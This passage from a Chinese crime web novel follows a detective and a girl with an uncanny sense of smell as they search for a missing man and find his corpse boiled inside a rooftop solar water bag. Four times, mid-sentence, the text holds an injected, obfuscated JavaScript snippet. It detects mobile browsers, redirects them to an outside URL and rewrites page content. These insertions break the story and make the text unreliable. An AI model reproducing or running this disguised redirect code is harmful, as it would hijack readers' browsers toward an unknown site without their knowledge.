吴元青分别审讯郦榕、闵文、闵俊三人。 闵俊只比闵文小一岁,也被拉进审讯室。 “你与闵淳结婚二十年,闵文十三岁,七年后才生孩子?连生两个?” “你和闵淳吵架后,闵淳立刻离开?有人看到吗?” “……” 郦榕每个问题都回答得模模糊糊,闵文不太说话,闵俊干脆直接哭。 查完这三人,已经快半夜。 法医未到,但从未被蛆虫啃食完的腐肉来看,死者身材瘦削,身高有一米八,而闵淳身高只有一米七五,体型偏胖,死者的确不是闵淳,闵文也说,尸体上的衣服不是闵淳的。 死者不是闵淳,闵淳只能算是失踪。 吴元青的精力倒是好,纳塔几人已经开始坐着打瞌睡,他依然精神抖擞,“还是按照原来的方向查,池家在龙星岗市的情况尽快汇报给我。” 纳塔哈欠连天,“吴队,您精力可真多。” “这算什么?”吴元青见怪不怪,“真有重大案件,连轴转是常有的事,最多的时候,我两个月没回过家。” 纳塔:“!!” 幸好他是宁蓝国的警探!感谢宁蓝国! 吴元青道:“让阮枫把池家……等等,我好像有点儿事没办。” 纳塔看看左右,阮枫看看前后。 破旧的办公室有三扇格子窗,风终于凉了些,慢悠悠涌进来,吴元青打了个哆嗦。 三人对视一眼,争先恐后向外跑去,“桑白玉在哪?!” 他们忘记把桑白玉送回家了!! 一时间,所有加班的警探都被调动起来。 有的警探还没见过桑白玉,询问特征,吴元青咬牙切齿道:“一个邪恶的13岁小孩儿。” 警探:“……” 这算特征? 警探绕来绕去,最终绕到暂时存放尸体的房间。 尸体一般存放在法医鉴定中心,但现在龙星岗市没有像样的法医,市里对此也不重视,法医鉴定中心离警署远得很,吴元青便暂时留下尸体,打算自己先上手。 他虽然是刑警,但办的案子多了,对法医方面也了解一些,只是没法真去解剖验尸。 尸体运出来后,不在密闭空间,尸臭味儿散去不少,但警探在门口站久了,还是能闻到。 他心里犯嘀咕,“应该不会在这里吧?” 小朋友怎么会来看尸体? 警探推开门走进去,见一穿校服的孩子蹲在尸体旁。 警探:“!!” 邪恶的小孩儿! 吴队描述得好精准!! 吴元青得到消息,第一时间冲过来打算把桑白玉拎走。 桑白玉却是面无表情,直勾勾地盯着尸体,沉声道:“你们找到的尸体,就是他?” 吴元青打了个寒战。 这话他好像听过一次? 吴元青提起桑白玉的衣领,“你们班的女生是组团出来吓唬人的吗?!” 和尸体待在一起,还待了这么久,是初中小屁孩能做到的?! 桑白玉无辜道:“我只是想来闻一闻,但是尸臭太强烈了,我在想办法屏蔽掉。” 她可一直忙到现在呢。 吴元青把桑白玉揪出去,“我还得谢谢你?” 桑白玉笑容灿烂,“不客气的,你好心请我吃烧烤,我得报答你。” 钱包已瘪的吴元青:“……” 他可真好心啊! 纳塔已经完全失去行动能力,达到站着闭眼睡觉的境界,吴元青把他赶去休息。 阮枫还在奋斗,她还要去整理池家的资料,没时间送桑白玉回家。 吴元青只能亲自上阵。 他上下班都骑摩托车,摩托车稍显破旧,排气管上积了厚厚的灰,不过在龙星岗的街上跑,还是相当拉风的。 吴元青只有一个头盔,他给桑白玉戴好。 桑白玉说:“不用给我,我……” 吴元青敲了下头盔,“安静。” 他是成人,又是警察,当然要优先考虑桑白玉的安危,别说是让头盔,就算让出这条命,也是他职责所在。 吴元青一时间有被自己感动到。 桑白玉也一定感受到了! 桑白玉小声嘀咕,“可是真的不太好看……” 吴元青:“……” “闭嘴!上车!” 玉石店罕见地没开灯。 其实龙星岗市至今限电,绝大多数地区在八点后就统一断电,医院、警署等特殊场合除外。 平乡街也除外。 平乡街不是特殊场合还能供电,是有点儿说法的。 卷帘门没关,门也没锁。 吴元青随桑白玉走进去,说:“你这店里都是假货吧?” 不然怎么敢不锁门就跑? 桑白玉看不懂玉,不过能闻到一些气味,她说:“有真有假,那边的赌石里,也有真的。” 吴元青肯定不信。 桑白玉随手捡起一块破石头,“把这个买走,能赚钱。” 吴元青“嘁”了一声。 吴元青不买赌石也不肯走。 桑白玉便给他讲“气味学”,“我最先和你说过,阮枫姐姐是接触过凶手的,还有炸药的味道。” 吴元青道:“阮枫接触的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834913|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁?” “闵文啊。” “写匿名信的是谁?” “也是闵文。” 吴元青板起脸,“凶手为什么要举报自己?你听听这合理吗?” 桑白玉:“……也有可能是闵文接触过凶手。” 吴元青摆摆手,“你让我多活两天,我不想看到国内取消侦查学科。” “叔叔你听我说,”桑白玉道,“我们现在找的尸体上,其实是有我说的味道的,但是特别淡,和阮枫姐姐接触过的味道很相似,但又不完全一样,尸体肯定和闵家有关,你们还得查闵家。” 吴元青坐下,“我们已经走访过,闵家从没来过外人。你看那小竹楼隔音吗?郦榕也没撒谎,她的确和闵淳吵架了。你有时间就给我倒点儿水,别说这些没用的。” 桑白玉惊讶道:“你留下不是想听我说案子吗?” 吴元青:“……,我是担心你太晚回来,和家里人解释不清楚挨揍!” 桑白玉更茫然了,“还不到一点呢,还早。” 吴元青:“……” 他和初中生不在一个时区? 桑白玉说:“我以前的爸妈从来不管我几点回家,为什么要管呢,我能照顾好自己。” 吴元青怔住。 桑白玉极有可能是被拐过来的,吴元青还怀疑惠海铭其实是人贩子,想把桑白玉送回华国。 但正常的父母怎么可能任由初中生半夜不回家? “你爸妈……不太关心你?” 桑白玉说:“他们喜欢弟弟,弟弟比较乖。” 吴元青:“……” 听到这话,吴元青心里闷,想抽烟。 身边有孩子,又不能抽烟,吴元青更闷了。 好在这时传来推门声。 桑白玉高兴地跑过去,却是苏蓝移回来了。 苏蓝移看到桑白玉,微微一怔,接着板起俊脸,“为什么才回家?大姐她们都去找你了。” 桑白玉知道苏蓝移不喜欢她,往后退去,老老实实认错。 吴元青赶紧来解释。 “小玉被卷入一起案子里,我们一时疏忽,没及时把人送过来,是我们不好。”吴元青顺势坐下,偷偷观察苏蓝移。 前几日他只远远见过苏蓝移,苏蓝移比他想象中更年轻。 吴元青道:“小玉很乖,你们别为难孩子。” 桑白玉偷偷看吴元青。 哦,虚伪的大人。 苏蓝移的回答也很公式化,“她的确是个乖孩子,一般不会乱跑,我会和大姐解释清楚。” 桑白玉又偷偷看苏蓝移。 哦,两个虚伪的大人。 乖孩子桑白玉挺直腰杆。 反正都说她乖了,她当然得收下表扬。 苏蓝移看出吴元青不想离开,他反客为主,“吴探长才到龙星岗?以前似乎没见过。” 吴元青含笑点头。 苏蓝移道:“龙星岗的待遇可没有国内好,我们一直盼着能回国,吴探长却往外跑?” 吴元青笑容僵住片刻,说:“女儿被拐走了,我来找女儿。” “哦?她在龙星岗?有特征吗,如果我们看到,能及时告诉你。” 吴元青从钱包里取出一张黑白照片,“她失踪时才7岁,现在有13了,模样肯定有变化。” 13岁。 苏蓝移沉默一秒,把桑白玉拉到身后。 抢女儿啊?! 9. 第 9 章 桑白玉很清楚自己在这个年代没有父母,她穿来时还穿着后世的校服,并非小说里常见的魂穿,当然不可能是吴元青的女儿。 但苏蓝移动作极快,拽着桑白玉的衣领将她拉到自己身后,桑白玉揪着衣服大喘气,“紧,紧……” 苏蓝移:“安静。” 桑白玉:“……” 吴元青:“你这是……” 苏蓝移说:“吴探长是聪明人,绕着圈子说话只会浪费彼此的时间。” 吴元青:“我明白,但你是不是……” “吴探长就职后决定清扫平乡街,这是为龙星岗市民考虑,我本应该支持,但吴探长接连几日一直盯着我们家小店,不知有何目的?我们家本本分分做生意,没有任何逾矩行为。” 吴元青眉头微妙地扬起,“你还是……” “我不过是为了生计奔波的小人物,劳烦吴探长离我远一些,离我的家人也远一些。” 吴元青目光深沉。 苏蓝移挑了下眉,“你想说什么?” 吴元青的针对过于明显,这几日苏蓝移和惠海铭讨论过几次。 他们不想与警察署起正面冲突,但绝不代表他们怕事。 桑白玉会去警署,明显是吴元青主动与其接触,他这人耐心不好,懒得看吴元青出招。 吴元青道:“不如我们先给急救中心拨电话。” 苏蓝移:“?” 吴元青指了指快翻白眼的桑白玉。 苏蓝移低头:“……” 桑白玉:邻居们没撒谎,她们二哥真的有前科!! * 桑白玉可怜兮兮地揉着脖子,惠海铭拿来医药箱,数落道:“你平时下手没轻没重的就算了,小玉才多大?你还不注意点!” 苏蓝移俊脸惨白。 方小满心疼道:“我就今天有事,你就出事了,以后可不能放你自己走。你看看你这小脸,熬了这么久,黑眼圈都出来了,像熊猫。” 宁红英坐在一旁看书。 惠海铭给桑白玉上过药后,把人交给方小满,“带小玉去睡觉。” 她这态度,明摆着是有话要和苏蓝移说,方小满顺便把宁红英逮上去。 九十年代的物件比较朴素,尤其是经济发展落后的龙星岗。 华国大陆还能抢一抢进口货,龙星岗的外贸生意只局限在玉石、木材等等。 桑白玉的房间几乎没有装饰品,但惠海铭还是尽量布置得温馨些,在她床头摆了一个芭比娃娃,床单都是粉色的。 桑白玉对颜色没有特别的喜好,但她喜欢惠海铭对她好,她亲生父母可不会关心她床单被罩的颜色。 方小满嘀咕道:“吴元青把你带回去,询问我们的事,估计是盯上我们了。可我们最近什么都没做啊,他是发现什么了?” 桑白玉想,她的新姐姐哥哥们果然不是善茬,还好她聪明,知道隐瞒。 以后她一定会继续瞒着! 方小满抢走宁红英的书,“红英,你聪明,你说说。” 桑白玉看向聪明的宁红英。 不同于方小满的英气,宁红英长相温婉,眉目柔顺,像江南水乡的女子,撑着油纸伞走在细雨下,自成一道风景。 温婉的女子咧开嘴:“哈哈哈。” 方小满:“?” 桑白玉:“?” 宁红英说:“你刚才说她像熊猫,好好笑。” 方小满:“……,睡觉吧你!” 桑白玉:“……” 红英姐姐的反射弧好像在地球另一端。 惠海铭和苏蓝移留在一楼。 白炽灯的瓦数不高,只能照亮柜台那一小片区域,玉石店绝大部分都在黑暗中。 整条街就只有这么丁点光亮,余下的只有骇人的寂静。 惠海铭嫌弃灯泡瓦数低,又点了两根蜡烛,十分浪费。 苏蓝移坐在柜台外,道:“今天的事是我疏忽,警署来新探长,我应该打点好,不能耽误我们的大事。” 惠海铭目光深沉。 平乡街的人都以为玉石店是苏蓝移做主,是苏蓝移不好说话,还以为惠海铭是个和善的中年女人,事实完全相反。 比起苏蓝移,惠海铭更加杀伐果断。 “你做得的确不对。” 苏蓝移道:“我认罚。” 惠海铭:“是该罚你。” 苏蓝移有些愧疚。 宁红英专注在她的领域,方小满年纪还小,从前是惠海铭照顾他们,现在理应他承担起大家长的角色,却让吴元青盯上他们。 是他的错。 惠海铭激动地拍了下桌子,“你怎么能……” 苏蓝移乖巧低头,等着挨骂。 惠海铭说:“你怎么能勒她脖子呢!!” 苏蓝移:“我错……恩?” “太不注意了!” 苏蓝移:“……” 在为这事生气啊? 惠海铭愁道:“也怪我,是我忘了叮嘱她,你们几个都有本事,不用担心,她可只是个孩子,竟然碰到凶杀案,今天又见了尸体,晚上说不定会吓得睡不着。” 惠海铭脑海里已经浮现出桑白玉躲在被窝里哭唧唧的样子,她越想越心疼。 苏蓝移:“……” 桑白玉看着可不像是会害怕的样子。 “决定了!”惠海铭说,“我教给你们的本事,也得教给她!” 苏蓝移:“?!” 苏蓝移跟着惠海铭时才十岁,他这一身的本事都是惠海铭教的。 方小满更是如此,她一出生就在惠海铭身边,惠海铭手把手地教她。 他们四人不同姓,但就是真正的一家人。 苏蓝移说:“红英先不提,我,小满,你,留在宁蓝都是有目的的,小玉她才来多久?” “你没听她说吗?她爸妈对她不好,她不想走,既然要留下,就是一家人,我们平时接触的都是什么人?得教给她一些本事,让她自保。更何况她还有那种能力……早晚会被人盯上。” 惠海铭决定的事,苏蓝移无法改变。 他独自回到二楼,见方小满穿着小背心出来接水,拧着眉提醒,“你是大姑娘了,家里有男人。” 苏蓝移偏头不去看方小满。 方小满努力抻脖子观察,“哪呢哪呢,男人在哪?” 苏蓝移:“……” “老老实实穿给你买的睡衣去,”苏蓝移问,“桑白玉睡了?” 方小满说:“哥,你说的男人不会是你吧?这……” 她打量着苏蓝移,目光略有嫌弃。 学校的同学倒是都夸她哥长得帅,还说他仙气飘飘,她从小就和苏蓝移待在一起,真没感觉到。 再仙那也是有三急的…… 方小满道:“知道了,会穿,小玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834914|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡了,她睡得可快了,今天看到尸体,可把她开心坏了。” 苏蓝移:“……” 别说,桑白玉还真有加入他们的天赋。 苏蓝移推开卧室门。 桑白玉卷着被子,睡得四仰八叉。 乌黑的长发搭在雪白光滑的肌肤上,即便闭上眼睛也能留意到的长睫,即便睡着了也招人喜欢。 方小满道:“小玉真可爱,真好看,你说她亲生父母怎么会不喜欢她呢?我都想给她当妈了,哥,你别总想着赶她走呗。” 方小满平日大大咧咧,但也有心思细腻的时候,她能感觉到苏蓝移不想让桑白玉留下。 苏蓝移轻轻蹙眉,看了桑白玉良久,才问:“她还疼吗?” “她才不怕疼,早就生龙活虎了,还说明天再去看尸体,被我拦下了。” 苏蓝移给方小满留下2000宁币,“给她买点儿吃的,再买两套衣服,嫌这边的款式不好,就去长峡市的百货大楼。” 华国和宁蓝国的官方汇率为1:20,2000宁币相当于100块。 九十年代的100块,购买力不低。 方小满却不太满意,“哎呀哥,你也知道现在黑市汇率波动大,2000够干什么的呀……” 苏蓝移挑眉。 方小满立刻指着桑白玉说:“你看看小玉,她值不值得你花更多的钱!” 苏蓝移:“……” 方小满又从苏蓝移兜里坑走4000宁币。 这一晚,除了苏蓝移,大家都很高兴。 * 张敏敏跟在桑白玉身后一整日,势必要当她的小跟班。 她现在想想桑白玉那些干净利落揍她的动作,都觉得帅气逼人。 她的同桌不可置信道:“你的意思是,你喜欢她,因为她打你的样子很帅?” 张敏敏美滋滋道:“真的很少遇到能打得过我的女生。” 同桌举手,“老师!这里疯了一个!” 张敏敏关注桑白玉,桑白玉的眼里却只有闵文。 只要下课,桑白玉就会去闵文的座位旁东嗅嗅西闻闻。 不过这次她没说明她的能力,惠海铭说,宁蓝国和华国的确存在嗅觉异于常人的人,有人专盯着这部分人搞事,让她不许告诉其他人。 于是桑白玉向她保证,“除了吴探长、阮枫姐姐、纳塔、还有……其他人我都不会说的!” 惠海铭:“……” 这孩子是大漏勺啊? 张敏敏老大的不高兴,“小玉怎么一直往闵文跟前凑啊?” 同桌:“有事呗。” 张敏敏:“我哪里不如闵文!” 同桌:“……” 她再次举手,“老师!真的疯了一个!” 闵文被桑白玉看得浑身不自在,她嗓音极细,轻声细语道:“桑白玉同学,你找我还有事吗?” “有啊,有大事,”桑白玉笑道,“今晚放学别走。” 对这句话异常敏感的张敏敏冲过来,“小玉!你要对付她吗?放学去哪儿?我帮你!” 桑白玉笑盈盈道:“去闵文同学家里。” 张敏敏呆住,“啊?” 怎么还要往她家里跑! 小玉是真喜欢她啊?! 闵文也茫然道:“为什么去我家?” 桑白玉凑到闵文耳边,轻声说道:“找~尸~体~啊~” 10. 第 10 章 桑白玉能闻到两种不同的尸体味道。 对法医来说,尸体或许是腐臭味,但对桑白玉来说,尸体的味道是复杂的,是死者生前死后接触过所有味道的总和。 譬如,他生前曾接触过黄瓜,时间越久,留下的味道越重,桑白玉就能闻到黄瓜的清新味儿。 刑侦痕迹学研究根据现场痕迹研究嫌疑犯的动线,桑白玉可依据味道判断。 她能剥离混合在一起的味道,通过味道浓郁程度,还能判断接触时间。 这些都是桑白玉自己琢磨的,惠海铭只知道有极少数人对味道敏感,不知具体能做到哪一步,也不知这批人的现状。 桑白玉很肯定,死了的绝不只是瘾君子,但瘾君子身上的味道是她没闻过的。 闵文住的村子被称为芒寨,绝大部分是宁蓝国人,只有闵家是外来户。 闵文家附近共有五户人家,五家的茅草房挨着,芒寨共有三十户人家。 五百米外有个天坑,洞口直径五米,据芒寨人说洞穴下方有暗河,桑白玉最先怀疑的藏尸点就是天坑。 方小满骑车载着桑白玉,闵文也有自行车,她远远落在后面。 方小满迎着风吼道:“你这个同学看起来不想找她爸。” 桑白玉同样吼道:“她瞒着我们大事!” 后方的闵文:“……” 风把她们的声音全都吹过来了。 闵文神色复杂。 方小满停下来等她,“太慢了!” 闵文:“你们刚刚……” 方小满的声音比刚才还洪亮,“说你坏话呢!” 闵文:“……” 算了算了,看起来打不过的样子。 桑白玉想起吴元青审讯嫌疑人时的那一套,煞有介事道:“坦白从宽,等我们真的找到尸体,你就跑不掉了。” 闵文轻轻抿唇,蹬着自行车沿着田边向前走。 生锈的链条发出吱呀吱呀的声音,不远处就是芒寨的茅草屋。 “闵文不怕你去找。”方小满低声道,“她把尸体藏得很好?” 桑白玉说:“她看起来更像是紧张,但不是因为我们要去找尸体紧张。” 方小满耸肩,“孩子就是孩子,这才不是紧张。” 桑白玉抗议:“我不是孩子了。” 方小满十分嫌弃,“小屁孩。” 闵文的状态,怎么看都不像是在紧张嘛! 还未到芒寨,桑白玉在被踩实的小路边看到一个小佛龛。 她拍拍方小满的背,“小满姐姐,这是什么?芒寨的人信佛吗?” 方小满瞥了一眼,扑哧笑出声,“什么佛,这是鬼。” 桑白玉问:“鬼神文化?” 从前她浏览过相关资料,说是宁蓝国供奉的都不是神,而是鬼。 网络上将此渲染得极为神秘,许多人都当作恐怖故事听。 “这叫飞头神,说是没有头和内脏,晚上会飞来飞去找头……我不信这些,了解得不多,但这边很多人都会供奉。”方小满载着桑白玉靠近,“你仔细看看,它是佛吗?” 桑白玉仔细一看,打起寒战来。 飞头神面目狰狞,用的颜色也极怪,盯着它的眼睛看久了,毛骨悚然。 桑白玉在《搜神记》中看到过飞头蛮的记载,听方小满说的情况,和飞头蛮很像,飞头神或许就是宁蓝本土化的结果。 但两者的模样却天差地别,在飞头神身上,桑白玉看不到一点儿人的影子。 “飞头神没有头,发现的尸体和头颅也是分离的,会不会有关?” 有人推着板车走过来,见到二人后大惊失色,“你们在做什么!” 桑白玉和方小满为了观察飞头神,脸已快贴上去。 来通急道:“你们也不怕它跟你们回去!” 桑白玉看看飞头神,又看看来通。 来通年近五十,胡子半白,穿着打扮很朴实。他是地地道道的宁蓝国人,口音极重,桑白玉的语言能力还行,但有点儿听不懂他的话。 方小满给她翻译,“鬼缠上你了。” 来通:“不能靠得太近,离远点儿,再拜一拜,嘴里念叨几句,快!” 方小满:“今晚它跟你回家。” 桑白玉:“……” 人家说了一长串,就这几个字? 方小满笑嘻嘻按着桑白玉的头,强迫她拜了拜,虽然她们谁都不知道到底应不应该拜。 来通说:“这是一个乞丐供的,你们可别乱动。” 方小满好奇道:“这里还有乞丐?能讨到东西吗?” 芒寨穷得叮当响,小偷都不愿意过来。 “我也不知道她是什么时候来的,反正她腿脚不方便,趴在带轮子的推车上来回走,天天念叨她的飞头神。” 桑白玉一句话都没听懂,急得直跺脚,“小满姐姐!!” 她越急,方小满越乐,“这才有点儿孩子的样子,别急,我给你翻译。” 来通又问道:“你们不是芒寨的吧,怎么跑到我们这里?” 桑白玉道:“我们是来找人的。” 方小满:“你们这有尸体吗?” 桑白玉:“闵文是我同学,她在前面。” 方小满:“方便藏尸的地方也行,有头没头都行,带我们去看看,给你钱。” 来通脸色极差。 桑白玉:“……你是按照我说的翻译的吗?” 方小满:“是啊!” 桑白玉:“……” 话怎么又变长了?? 来通频频摇头,还想逃跑。 方小满惋惜道:“这招不管用啊。” 以前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834915|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要她露出獠牙,大家都会选择乖乖听话的啊。 方小满喊道:“开玩笑的,我妹妹是闵文的同学,说好一起去天坑玩的!” 还是按照桑白玉的方式来比较管用,来通认识闵家人,笑容和善许多,“早说哦,天坑啊,就是大坑呗,我带你们过去。” 方小满推着自行车,来通推着平板车,只有桑白玉是拉着方小满的手的。 她提醒方小满,“问问闵家的事。” 方小满点头,“小文在学校总是不开心,她在家是不是被欺负了啊。” 来通憨笑道:“郦榕还不错,对小文小俊都挺好的。” “没偏心?” “要说完全没偏心,那也没有,男孩嘛,肯定比女孩强。” 方小满:“什么?!” 来通赶紧补救,“这是老一辈的想法,我就喜欢女儿,我女儿如果还活着,也有三十多岁了,唉。” 方小满这才平静下来,“她是生病了?” 来通摇头,“失踪喽,找不到了,可怜的孩子,失踪十几年了。这孩子脸上有胎记,拳头那么大,嫁不出去,失踪的时候都十八岁了,我们想啊,她是受不了人家的闲话,自己跑的。” 在龙星岗丢个孩子,不算是大事。 “那是怪可怜的,你们再找找,说不定能找到,”方小满把话题拉回来,“小文的爸爸人怎么样?” “他?他可一般,”来通撇嘴,明摆着是嫌弃,“这人懒得很,又懒又馋,家里有块地,从来都不种,全都荒了。郦榕跟着他也是受苦了,两人经常吵架,有的时候还动手。” “你上次见他是什么时候?” “挺久了,一周前吧,跟人家斗鸡,输了好些钱。” 输了钱,与家人关系不好,都是关键线索。 方小满朝桑白玉挤眉弄眼。 桑白玉敢肯定,闵淳现在多半已经变成尸体,郦榕和闵文的表现都说明了这一点。 可为什么找出来的尸体是个瘾君子? 桑白玉忽然停了下来,看向土路边的一幢房子。 这是芒寨看起来最气派的房子,不仅面积大,看着也结实,房子离地面有两米高,下方还晾着衣服。 在房子斜对面,还有一个平顶小房子,看起来相当于华国的小仓库。 一个男孩从楼梯上走下来,来通叫道:“温山!又想跑出去玩儿?!” 十岁的小男孩双眼迷离,摇摇晃晃走下来,“我……我是想去洗澡。” 来通放下板车,揪着温山的耳朵往里走,“还撒谎!我看你就是不想读书!你看你小文姐姐,成绩多好,你得向她学习!” 桑白玉抬腿便往屋子里走。 方小满紧随其后,“不是去天坑吗?怎么突然往里冲?” 桑白玉环顾四周,道:“就在这里。” 11. 第 11 章 这是来通家。 来通有四个孩子,最小的儿子温山才十岁。 他的妻子比他小七岁,老大老二是女儿,已经出嫁,温山算是老来子。 来通可以说是芒寨最勤奋的人,房子建得又大又漂亮,和闵文家差距颇大。 一个看起来就是贫困户,一个只会认为是当地特色。 方小满看着堆满东西却不杂乱的小院,琢磨道:“东西虽然多了点儿,但是一眼就能看完,能藏在哪里?” 来通茫然地看着桑白玉,“你们在找什么?” 方小满严肃道:“找肉。” 来通:“……啊?” 方小满:“找好多好多肉。” 来通窘迫道:“家里不太富裕,半个月才能吃上一回肉,可能没法请你们……” 方小满说:“骨头也行。” 来通:“……” 大骨棒他也买不起。 方小满道:“我们不是要你请客,是丢了点儿肉和骨头,能找找吗?” 来通虽然不懂她们的肉为何会丢在他家,但还是老实巴交地点了点头。 方小满拉着桑白玉四处逛,“你闻到了?在哪?这来通和闵淳有仇?干嘛要把闵淳的尸体藏家里?该不会是你闻错了吧?” 说什么能分辨味道,她怎么就不信呢?她就完全做不到。 不过倒是能分得清烤肉和炖肉的差别。 院子堆放最多的是农具,还有烧火的木头。 木头不多,够用即可,龙星岗冬天最冷也有十五六度,用不着烧火取暖。 桑白玉好奇道:“他好像不排斥我们找尸体,看起来他和凶杀案无关?” 否则怎么也该拦一拦。 方小满耸耸肩。 她没撒谎啊,她们就是在找肉和骨头嘛。 只不过这人骨头还没剥出来而已。 桑白玉:“……” 她问:“他知道真相后,会生气吧?” 方小满道:“我可以帮他剥出来啊,不还是肉和骨头?哦,再加点下水。” 桑白玉:“……” 她现在有点儿理解为何张敏敏管方小满叫“恶霸”了。 桑白玉走来走去,目光落在高脚楼下的蛇皮袋上。 她走到蛇皮袋前,不用她说,就连方小满都闻到一股浓烈的腐臭味儿。 桑白玉正要伸手打开蛇皮袋,方小满抢先一步,“你怎么能做这种活儿,我来!” 白白嫩嫩的小姑娘就该好好养着嘛。 来通好奇地跟过来,“这是……” 温山抓着来通的衣角不语。 方小满打开蛇皮袋,几只苍蝇飞了出来。 方小满看到一堆乱七八糟的肉,但真没骨头。 她大惊失色,“你们居然!!” 居然真把骨头剔了?! 来通忙说:“这肉好像是……好像是忘了晒了?我说肉干的量怎么少很多,谁把肉丢这里了?!” 他连连道谢,“这些日子怎么总闻到腐臭味儿,还以为是老鼠死家里了,到处找都没找到。” 方小满狐疑地问桑白玉,“他没扯谎?” 桑白玉轻轻摇头,低声道:“不是这个味道,那味道还在,还混着花香。” “哈?在尸体上簪花?” 凶手挺有情趣啊! 桑白玉:“……” 她看向还没找的小仓库。 来通见她一直盯着,解释道:“我家女人娇气,以前总嚷嚷着不好意思去河里洗澡,还说河水冷,就给她单独买了个热水袋,让她在里面洗。夏天天热,她又嫌水太热非要去河里,唉。” 龙星岗没有统一的供水系统,连澡堂都少之又少。 本地人洗澡,大多是去河里,这边气候热,对热水的需求不高,像来通妻子这种喜欢热水的是极少数。 来通能为妻子建个“淋浴间”,倒也挺贴心。 桑白玉不太理解什么叫热水袋,她一直盯着房顶看。 所谓的热水袋,其实是太阳能晒水袋,黑色的,来通家的有两米长,能供六七人使用。 冬天用热水袋正好,来通两个女儿都跟着母亲用这东西。 来通不好意思道:“是在长峡市跟人家换的,带回来时寨子里其他人都过来看,说我们家搞特殊……也要不了几个钱,能让我家那位高兴高兴,挺好的。” 方小满道:“你盯着热水袋做什么?这里又藏不了人。” 桑白玉却道:“就在这。” 方小满:“??” 这里可只有热水袋! 桑白玉走进仓房,找到花洒。 热水袋是鼓起来的,里面有水。 方小满问来通,“多久没用了?” “有一个月了。” “没收起来?” “这也不会晒坏,就没收。” 方小满跟着走进去,这回不用桑白玉说,她还真闻到一股奇怪的味道。 方小满琢磨了一会儿,迟疑道:“这是……谁家在煮肉?” 来通吸了吸气,“挺香哦,谁家发财了。” 桑白玉拧开塑料开关,管道噗嗤噗嗤响了两声,水流滑下来,从花洒中涌出。 淡粉色的水落在地面,激起水花。 方小满张了张嘴,又想闭上,但没合拢。 她扶着头说:“应该,可能,或许,大概……不是我想得那样吧?” 桑白玉放下花洒,转身去找梯子,“在上面。” 来通不明所以,只是茫然地看着桑白玉。 温山反应强烈,试图将桑白玉从梯子上摇下来。 方小满将温山拎起来丢到来通怀里,龇牙咧嘴一笑,“小弟弟,姐姐陪你玩啊。” 温山:“……” 他把头埋进来通怀里。 来通:“嚯,比飞头神还吓人。” 热水袋果然被人动过手脚,有被划开的痕迹,划开后又用胶带粘住。 胶带缠得倒是严实,但做这事的人显然不会修东西,用的是普通胶带,一直在往外渗水,只是勉强保持现状。 就算桑白玉不来,它也撑不过两日。 桑白玉让方小满借来剪子,沿着胶带剪开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834916|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉水涌出来,与其相伴的是浓郁的肉汤味儿。 等水流干净,热水袋的高度慢慢降下去,才出现人形。 有人在热水袋里,炽热的阳光使水的温度升高,他被煮了。 * 吴元青在风中凌乱了好一会儿。 恩…… 就是…… 这个…… 人生吧…… 纳塔和阮枫将热水袋抬下来,下面还压着几片玫瑰花瓣,已成干花。 阮枫道:“煮得特别软烂,和炖汤似的,还挺香。探长你看,都脱骨了!” 吴元青:“……” 又一批警探们扶墙作呕。 桑白玉兴致勃勃地接话,“听说华国最南喜欢煲汤。” 方小满说:“差不多,挺香的,还有花瓣当佐料,这得炖多久?” 身经百战的吴元青此刻真的不太舒服。 他强忍着问来通,“这是在你家找到的,你来说说。” 来通早已蹲在院门前,双手抱头,满脸惶恐。 吴元青道:“说实话,解释清楚就没事。” 他看来通不像杀人犯。 来通频频摆手。 方小满主动担当翻译的角色,“他说了,你不说实话,他就枪毙你。” 来通吓得老泪纵横。 吴元青:“?” 他的话这么让人感动? 来通倒还算配合,“我真不清楚,这东西很久没用了,我什么都不知道。” 方小满气场十足,“尸体出现在你家,你敢说什么都不知道?!” 吴元青:“?” 他刚刚说话时,是这态度吗? 不是,她怎么这么横啊! 